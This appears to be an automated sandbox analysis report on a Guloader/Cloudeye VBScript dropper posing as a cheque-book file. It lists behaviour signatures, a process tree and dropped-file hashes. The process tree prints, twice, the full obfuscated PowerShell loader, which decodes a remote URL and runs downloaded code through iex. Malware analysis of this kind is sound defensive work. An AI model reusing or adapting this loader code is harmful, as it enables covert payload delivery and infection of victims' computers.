Analysis

  • max time kernel
    130s
  • max time network
    95s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/05/2024, 07:55

General

  • Target
    Chq book 004237.vbe
  • Size 7KB
  • Sample240509-jskcmsbb24
  • SHA256 233bdd39cf60503957deb8d48b136fd78e2a7e435929ba4710d2e767509d50a0
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 21 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3532
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Chq book 004237.vbe"
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:956
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Knippelgod = 1;$Opsange='Su';$Opsange+='bstrin';$Opsange+='g';Function Socialraadgiverne($Sigbrands){$Afskrllet=$Sigbrands.Length-$Knippelgod;For($Ansttelsesforholdet=2;$Ansttelsesforholdet -lt $Afskrllet;$Ansttelsesforholdet+=3){$fdselshjlpers+=$Sigbrands.$Opsange.Invoke( $Ansttelsesforholdet, $Knippelgod);}$fdselshjlpers;}function Apologer($Frigorifico){. ($Blodsnkning) ($Frigorifico);}$Gastrulating=Socialraadgiverne 'saMReoCozU,iDilVtl,ta.a/Co5H..Co0sl B.( WO,iDyn ddLooM wScsOr S.NGrTNo Fr1Wi0Ud.St0Sy;,l OrW,riNan.u6Br4 a; . Fixb.6a,4Re;O, DirCev,e:Li1sa2 P1Ma.K 0 ) e SkG OerecenkwioA / T2c,0 .1Sk0Un0To1Go0F 1Ti FoFKoiMar Ne FfTyo sxA / A1Ko2b,1 U. P0bi ';$Fodfolkene=Socialraadgiverne ' RUUnsGeeR r ,-AfAGagure NnH tPa ';$Superpatriots=Socialraadgiverne 'P.hLet Ft ,p ,:A /Bi/Br1Be7.p8Va.,l2Un1C 5Sy..e2Ad3fo6 ,.O 2k.2O,9J,/F,A ,a VrD s RtLaa.ulAnl ,eKnnF eaas C.Tah.lhRepDa ';$Triatomically=Socialraadgiverne 'Ps>De ';$Blodsnkning=Socialraadgiverne ',riEqeexxbr ';$Tirsa='Hoplomachist';Apologer (Socialraadgiverne ' BS Ae dtOf- OCPaoSknStt ,eAknCatHy .o-T.P Aa ntTeh P OlTSp: N\LoP PaVarU kByi SnFesfeo ,nom1 S9Ra0St. tM.x et.e St- dVApa.ilTuu NeRa St$PoTFriF r PsPraCo;Dv ');Apologer (Socialraadgiverne 'Pli BfBe Ba(LutSce hs gt R-Nip MaD.tSohA. ,aT e:.v\ BPBlaPrrNokMoi.nnE sTroAan,a1 ,9Du0N .Bat UxLntSt)Co{CoeCexL,i .tA.} ,;Na ');$Aplace = Socialraadgiverne 'Bee .c dhA,o.i Co%flaPipInpSld oa CtviaAv%No\,kSDrt FrVia,efopp SrPloNec Se AsUnsBie .rResHu.TyGchoI,aU. I,&,k&De WeB.cA,hU.oAn A.$Ni ';Apologer (Socialraadgiverne ' ,$A.gMjlProRebN aS l D:,eOA rTadJ,dPoe,el,iiImn HgSusS pRerBnosug Hr,oaLommrmOpeMetKr=.n(BacAbm bdCo H,/Stc.o P$DeAAlpHilHaa ecHue f)Ar ');Apologer (Socialraadgiverne 'Pa$E,g,ol ooMibPoa nlDa:DaTMaiEllB,sEniT k mrAfi,pnFog IeStnA,sO,= S$ PSs,uTrp.ee mrF p .a NtUtrEdi oDytLis R. SsPrp AluniV.t.n(Mo$ ST .rR.i.iaCitSpo.imSyiW,c Ka.ul,nlS.yB.)ph ');$Superpatriots=$Tilsikringens[0];Apologer (Socialraadgiverne ' .$ .g l,ioGrbReaDalGi:usI,enA.f.ooC rLimAfiS.d .a Fb ,l e.a=P.NDeeE,wE -FoOEdbAsjO eTec .t N OpSD yK,sStt aeWomDr. KN ne UtVa. UWUneDubHaCRalTria,eNrnRet t ');Apologer (Socialraadgiverne ',u$SwIstn MfC,ocorpomVgiP,dEnaThbPrlSpeHe. WH KeB.aChd CeTur s.o[ $BrFUnoF,dScf NoHelImk e on ae n]Ko=.k$ SGB.aSes.lt ,r EuGal Ua TtHoiSunShg.e ');$Fabriksvarens=Socialraadgiverne ',oIArnDifSuo er Lm iPrd daHabPalFleFo.c DEfoPowKrnb.lAcoHaaDedFeFGli .lTreGl(Ad$ TSMauF,p ,e rr,opIna etTurB.i Ro KtA sSq,S.$D BSuoChnTid eeKrkKlaOrr xlMueHon ,e )Ro ';$Fabriksvarens=$Orddelingsprogrammet[1]+$Fabriksvarens;$Bondekarlene=$Orddelingsprogrammet[0];Apologer (Socialraadgiverne 'A.$BagD.lCooFabchaBrlUd:SaIRis,acLeefonbreSnsM aI.euntSttDieHer n2 2 C2 E=hj(SkTSae.asS t U- lP Ha lt Rh . Da$KrBR o MnRedDieLikO,a,rrdrlP.eShnCoeFo)Ti ');while (!$Iscenesaetter222) {Apologer (Socialraadgiverne 'ah$ TgBelUno ibidaU.l ,:OrFCooE cDaa ,lFiiA.z CeUnd ,= .$Bit rNeu Ge ') ;Apologer $Fabriksvarens;Apologer (Socialraadgiverne ' dSBet.aaL.rMotSn- USUnl .ebleKep W Am4ru ');Apologer (Socialraadgiverne 'si$,egColLoo.fbAdaRulH : IimsDecBreAknEleE,sReaLaeV.tTrt.eeEtrFi2En2t,2Op=Ac(ThTPreNesBatIn- eP,oa St,uhTe e$SpBInoIdnvadPeeEtkR,aC rLul ae,tnMie x)Co ') ;Apologer (Socialraadgiverne ' .$P.gFrlA oAlbT,a Al ,: PCor Uo ugPrrPeaBgmP mEfe,drP iU.n rg ,sSvm.seN tS,o.od eeMi=,u$ ,gSelU,oTibSaaDil s:MiAMefInb vlTas eOr2Un5.t4 D+Su+Mi%Co$M.TAci oldes Bi RkMirT i AnKng ueBenBlsRe.ZicT,oSmuDenSetSp ') ;$Superpatriots=$Tilsikringens[$Programmeringsmetode];}$Ineffectively=325694;$phonebsning=26906;Apologer (Socialraadgiverne '.n$ ,gFolFlo DbKua slSk: SS,hllgaKon,ug Ue lb wiIndFa In= F TaGUne TtOf-JoC FoB.nDytWoeA nHythu Un$A,BCoo lnJad eS kD aInrBel.reH.nA ePh ');Apologer (Socialraadgiverne ' c$Myg ol Fo .bKvaMalS,:G,L,raRabH.oJur,sa FtPuoTrrCliPoeRee Bn AhNae .dSv r=Ch D[ mSBayYnsPrtIse im,c.BlCK,o ,nClv reN.rHet E]Ho:,o:UtF .rL.o bm MBDeaM,sAse P6 o4InS KtkrrSai .nPugP (Ju$AbSS lf.aPln .g,neOrb CiStdPa).s ');Apologer (Socialraadgiverne 'ba$ Wg FlSpo bC,aP.lAf:MaS kvNea,lg,rsP,t or BmVisTaaC.nU.lMogP.ss, i= r Th[StSA,yKbsCotQ e amP .,pTf,eT.xFot D.F.ESonErcWao,idSaiBrn,ugEl]ca:Se:UnAHaSB.COfI CIAn.laGUne nt.lSL,tNur .iF.nChgRe(Ph$MeLSlaCobSaoChr SaRetReo.erLaiInel epunddhS.ePrd.o)pe ');Apologer (Socialraadgiverne '.d$B,gF l o rbPea lTh:HaB,aiR r dEnmReaBynBj=Se$TrS ,vBaaG,gTns Wtslr PmNoskoaPenTrlGugF,s n.VrsTeuEcbCisMotPorP.i AnFagUd(P.$TaIHgn.ie Lf.afSceP cKotE.iH.vHyeB lPry B, o$ op,oh eoL nudeFob Bs .nEniAcn Ug l)D ');Apologer $Birdman;"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2308
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Strafprocessers.Goa && echo $"
          4⤵
            PID:1556
          • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Knippelgod = 1;$Opsange='Su';$Opsange+='bstrin';$Opsange+='g';Function Socialraadgiverne($Sigbrands){$Afskrllet=$Sigbrands.Length-$Knippelgod;For($Ansttelsesforholdet=2;$Ansttelsesforholdet -lt $Afskrllet;$Ansttelsesforholdet+=3){$fdselshjlpers+=$Sigbrands.$Opsange.Invoke( $Ansttelsesforholdet, $Knippelgod);}$fdselshjlpers;}function Apologer($Frigorifico){. ($Blodsnkning) ($Frigorifico);}$Gastrulating=Socialraadgiverne 'saMReoCozU,iDilVtl,ta.a/Co5H..Co0sl B.( WO,iDyn ddLooM wScsOr S.NGrTNo Fr1Wi0Ud.St0Sy;,l OrW,riNan.u6Br4 a; . Fixb.6a,4Re;O, DirCev,e:Li1sa2 P1Ma.K 0 ) e SkG OerecenkwioA / T2c,0 .1Sk0Un0To1Go0F 1Ti FoFKoiMar Ne FfTyo sxA / A1Ko2b,1 U. P0bi ';$Fodfolkene=Socialraadgiverne ' RUUnsGeeR r ,-AfAGagure NnH tPa ';$Superpatriots=Socialraadgiverne 'P.hLet Ft ,p ,:A /Bi/Br1Be7.p8Va.,l2Un1C 5Sy..e2Ad3fo6 ,.O 2k.2O,9J,/F,A ,a VrD s RtLaa.ulAnl ,eKnnF eaas C.Tah.lhRepDa ';$Triatomically=Socialraadgiverne 'Ps>De ';$Blodsnkning=Socialraadgiverne ',riEqeexxbr ';$Tirsa='Hoplomachist';Apologer (Socialraadgiverne ' BS Ae dtOf- OCPaoSknStt ,eAknCatHy .o-T.P Aa ntTeh P OlTSp: N\LoP PaVarU kByi SnFesfeo ,nom1 S9Ra0St. tM.x et.e St- dVApa.ilTuu NeRa St$PoTFriF r PsPraCo;Dv ');Apologer (Socialraadgiverne 'Pli BfBe Ba(LutSce hs gt R-Nip MaD.tSohA. ,aT e:.v\ BPBlaPrrNokMoi.nnE sTroAan,a1 ,9Du0N .Bat UxLntSt)Co{CoeCexL,i .tA.} ,;Na ');$Aplace = Socialraadgiverne 'Bee .c dhA,o.i Co%flaPipInpSld oa CtviaAv%No\,kSDrt FrVia,efopp SrPloNec Se AsUnsBie .rResHu.TyGchoI,aU. I,&,k&De WeB.cA,hU.oAn A.$Ni ';Apologer (Socialraadgiverne ' ,$A.gMjlProRebN aS l D:,eOA rTadJ,dPoe,el,iiImn HgSusS pRerBnosug Hr,oaLommrmOpeMetKr=.n(BacAbm bdCo H,/Stc.o P$DeAAlpHilHaa ecHue f)Ar ');Apologer (Socialraadgiverne 'Pa$E,g,ol ooMibPoa nlDa:DaTMaiEllB,sEniT k mrAfi,pnFog IeStnA,sO,= S$ PSs,uTrp.ee mrF p .a NtUtrEdi oDytLis R. SsPrp AluniV.t.n(Mo$ ST .rR.i.iaCitSpo.imSyiW,c Ka.ul,nlS.yB.)ph ');$Superpatriots=$Tilsikringens[0];Apologer (Socialraadgiverne ' .$ .g l,ioGrbReaDalGi:usI,enA.f.ooC rLimAfiS.d .a Fb ,l e.a=P.NDeeE,wE -FoOEdbAsjO eTec .t N OpSD yK,sStt aeWomDr. KN ne UtVa. UWUneDubHaCRalTria,eNrnRet t ');Apologer (Socialraadgiverne ',u$SwIstn MfC,ocorpomVgiP,dEnaThbPrlSpeHe. WH KeB.aChd CeTur s.o[ $BrFUnoF,dScf NoHelImk e on ae n]Ko=.k$ SGB.aSes.lt ,r EuGal Ua TtHoiSunShg.e ');$Fabriksvarens=Socialraadgiverne ',oIArnDifSuo er Lm iPrd daHabPalFleFo.c DEfoPowKrnb.lAcoHaaDedFeFGli .lTreGl(Ad$ TSMauF,p ,e rr,opIna etTurB.i Ro KtA sSq,S.$D BSuoChnTid eeKrkKlaOrr xlMueHon ,e )Ro ';$Fabriksvarens=$Orddelingsprogrammet[1]+$Fabriksvarens;$Bondekarlene=$Orddelingsprogrammet[0];Apologer (Socialraadgiverne 'A.$BagD.lCooFabchaBrlUd:SaIRis,acLeefonbreSnsM aI.euntSttDieHer n2 2 C2 E=hj(SkTSae.asS t U- lP Ha lt Rh . Da$KrBR o MnRedDieLikO,a,rrdrlP.eShnCoeFo)Ti ');while (!$Iscenesaetter222) {Apologer (Socialraadgiverne 'ah$ TgBelUno ibidaU.l ,:OrFCooE cDaa ,lFiiA.z CeUnd ,= .$Bit rNeu Ge ') ;Apologer $Fabriksvarens;Apologer (Socialraadgiverne ' dSBet.aaL.rMotSn- USUnl .ebleKep W Am4ru ');Apologer (Socialraadgiverne 'si$,egColLoo.fbAdaRulH : IimsDecBreAknEleE,sReaLaeV.tTrt.eeEtrFi2En2t,2Op=Ac(ThTPreNesBatIn- eP,oa St,uhTe e$SpBInoIdnvadPeeEtkR,aC rLul ae,tnMie x)Co ') ;Apologer (Socialraadgiverne ' .$P.gFrlA oAlbT,a Al ,: PCor Uo ugPrrPeaBgmP mEfe,drP iU.n rg ,sSvm.seN tS,o.od eeMi=,u$ ,gSelU,oTibSaaDil s:MiAMefInb vlTas eOr2Un5.t4 D+Su+Mi%Co$M.TAci oldes Bi RkMirT i AnKng ueBenBlsRe.ZicT,oSmuDenSetSp ') ;$Superpatriots=$Tilsikringens[$Programmeringsmetode];}$Ineffectively=325694;$phonebsning=26906;Apologer (Socialraadgiverne '.n$ ,gFolFlo DbKua slSk: SS,hllgaKon,ug Ue lb wiIndFa In= F TaGUne TtOf-JoC FoB.nDytWoeA nHythu Un$A,BCoo lnJad eS kD aInrBel.reH.nA ePh ');Apologer (Socialraadgiverne ' c$Myg ol Fo .bKvaMalS,:G,L,raRabH.oJur,sa FtPuoTrrCliPoeRee Bn AhNae .dSv r=Ch D[ mSBayYnsPrtIse im,c.BlCK,o ,nClv reN.rHet E]Ho:,o:UtF .rL.o bm MBDeaM,sAse P6 o4InS KtkrrSai .nPugP (Ju$AbSS lf.aPln .g,neOrb CiStdPa).s ');Apologer (Socialraadgiverne 'ba$ Wg FlSpo bC,aP.lAf:MaS kvNea,lg,rsP,t or BmVisTaaC.nU.lMogP.ss, i= r Th[StSA,yKbsCotQ e amP .,pTf,eT.xFot D.F.ESonErcWao,idSaiBrn,ugEl]ca:Se:UnAHaSB.COfI CIAn.laGUne nt.lSL,tNur .iF.nChgRe(Ph$MeLSlaCobSaoChr SaRetReo.erLaiInel epunddhS.ePrd.o)pe ');Apologer (Socialraadgiverne '.d$B,gF l o rbPea lTh:HaB,aiR r dEnmReaBynBj=Se$TrS ,vBaaG,gTns Wtslr PmNoskoaPenTrlGugF,s n.VrsTeuEcbCisMotPorP.i AnFagUd(P.$TaIHgn.ie Lf.afSceP cKotE.iH.vHyeB lPry B, o$ op,oh eoL nudeFob Bs .nEniAcn Ug l)D ');Apologer $Birdman;"
            4⤵
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1968
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Strafprocessers.Goa && echo $"
              5⤵
                PID:3308
              • C:\Program Files (x86)\windows mail\wab.exe
                "C:\Program Files (x86)\windows mail\wab.exe"
                5⤵
                • Suspicious use of NtCreateThreadExHideFromDebugger
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of SetThreadContext
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious behavior: MapViewOfSection
                PID:552
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 552 -s 216
                  6⤵
                  • Program crash
                  PID:4376
        • C:\Windows\SysWOW64\RmClient.exe
          "C:\Windows\SysWOW64\RmClient.exe"
          2⤵
            PID:388
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 552 -ip 552
          1⤵
            PID:3824

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                __PSScriptPolicyTest_jgivlqym.wsj.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jgivlqym.wsj.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                Strafprocessers.Goa

                • Path C:\Users\Admin\AppData\Roaming\Strafprocessers.Goa
                • Size 459KB
                • SHA256 72fb7eebc4f59c1e77628e2815e714918ca83afe8819001550d4af46a9553431
                • MD5 SHA1 SHA512 SSDEEP

                memory/552-48-0x0000000000B90000-0x0000000001C4E000-memory.dmp

                memory/552-42-0x0000000000B90000-0x0000000001C4E000-memory.dmp

                memory/1968-31-0x0000000005BF0000-0x0000000005C0E000-memory.dmp

                memory/1968-34-0x0000000006180000-0x000000000619A000-memory.dmp

                memory/1968-16-0x00000000022C0000-0x00000000022F6000-memory.dmp

                memory/1968-17-0x0000000004DE0000-0x0000000005408000-memory.dmp

                memory/1968-18-0x0000000004D40000-0x0000000004D62000-memory.dmp

                memory/1968-19-0x0000000005410000-0x0000000005476000-memory.dmp

                memory/1968-20-0x00000000055B0000-0x0000000005616000-memory.dmp

                memory/1968-30-0x0000000005620000-0x0000000005974000-memory.dmp

                memory/1968-39-0x0000000008610000-0x00000000096CE000-memory.dmp

                memory/1968-32-0x0000000005C10000-0x0000000005C5C000-memory.dmp

                memory/1968-33-0x0000000007430000-0x0000000007AAA000-memory.dmp

                memory/1968-37-0x0000000008060000-0x0000000008604000-memory.dmp

                memory/1968-35-0x0000000006E90000-0x0000000006F26000-memory.dmp

                memory/1968-36-0x0000000006DB0000-0x0000000006DD2000-memory.dmp

                memory/2308-13-0x00007FF9A7A60000-0x00007FF9A8521000-memory.dmp

                memory/2308-12-0x00007FF9A7A60000-0x00007FF9A8521000-memory.dmp

                memory/2308-0-0x00007FF9A7A63000-0x00007FF9A7A65000-memory.dmp

                memory/2308-40-0x00007FF9A7A60000-0x00007FF9A8521000-memory.dmp

                memory/2308-41-0x00007FF9A7A63000-0x00007FF9A7A65000-memory.dmp

                memory/2308-11-0x00007FF9A7A60000-0x00007FF9A8521000-memory.dmp

                memory/2308-44-0x00007FF9A7A60000-0x00007FF9A8521000-memory.dmp

                memory/2308-1-0x000001BBDA260000-0x000001BBDA282000-memory.dmp